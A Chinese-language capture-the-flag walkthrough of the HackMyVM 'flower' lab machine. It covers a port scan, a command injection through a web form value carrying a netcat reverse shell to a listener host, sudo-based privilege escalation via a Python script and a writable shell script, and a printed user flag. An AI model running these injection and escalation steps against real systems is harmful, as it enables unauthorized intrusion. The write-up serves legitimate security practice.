┌──(root㉿kali)-[/home/ace/桌面] └─# nmap -sC -sV -A -p- 192.168.56.143 Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-1112:12 CST Nmap scan report for192.168.56.143 Host is up (0.0013s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:58:FE:CD (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 1.30 ms 192.168.56.143 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 37.79 seconds
3.访问网页
端口扫描也只有这一个位置,那么可能涉及到burp suite
可以修改flower的value来实现反弹shell
base64编码
1
system("nc -e /bin/bash 192.168.56.127 4444")
4.用户切换
1 2 3 4 5 6 7
import pickle
diary = {"November28":"i found a blue viola","December1":"i lost my blue viola"} p = open('diary.pickle','wb') pickle.dump(diary,p) www-data@flower:/home/rose/diary$
www-data@flower:/home/rose/diary$ls ls diary.py pickle.py www-data@flower:/home/rose/diary$ sudo -l sudo -l Matching Defaults entries for www-data on flower: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on flower: (rose) NOPASSWD: /usr/bin/python3 /home/rose/diary/diary.py www-data@flower:/home/rose/diary$ sudo -u rose /usr/bin/python3 /home/rose/diary/diary.py < -u rose /usr/bin/python3 /home/rose/diary/diary.py rose@flower:~/diary$
first flag:
1 2 3 4 5 6
rose@flower:~/diary$cd .. cd .. rose@flower:~$cat user.txt cat user.txt HMV{R0ses_are_R3d$} rose@flower:~$
5.root
1 2 3 4 5 6
rose@flower:~$ /bin/bash /home/rose/.plantbook /bin/bash /home/rose/.plantbook Hello, write the name of the flower that u found rose rose Nice, rose submitted on : Fri Aug 1100:44:41 EDT 2023
rose@flower:~$echo"/bin/bash" >.plantbook echo"/bin/bash" >.plantbook rose@flower:~$ls ls diary user.txt rose@flower:~$ls-al ls-al total 32 drwxrwxr-x3 rose rose 4096 Aug 1100:49 . drwxr-xr-x3 root root 4096 Nov 302020 .. -rw-r--r--1 rose rose 220 Nov 302020 .bash_logout -rw-r--r--1 rose rose 3526 Nov 302020 .bashrc -rw-r--r--1 rose rose 10 Aug 1100:49 .plantbook -rw-r--r--1 rose rose 807 Nov 302020 .profile drwxrwxrwx 3 rose rose 4096 Aug 1100:41 diary -rw-------1 rose rose 20 Nov 302020 user.txt rose@flower:~$ /bin/bash /home/rose/.plantbook /bin/bash /home/rose/.plantbook rose@flower:~$ls ls diary user.txt rose@flower:~$ id id uid=1000(rose) gid=1000(rose) groups=1000(rose),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth) rose@flower:~$ sudo /bin/bash /home/rose/.plantbook sudo /bin/bash /home/rose/.plantbook root@flower:/home/rose# ls ls diary user.txt root@flower:/home/rose# cat .root/root.txt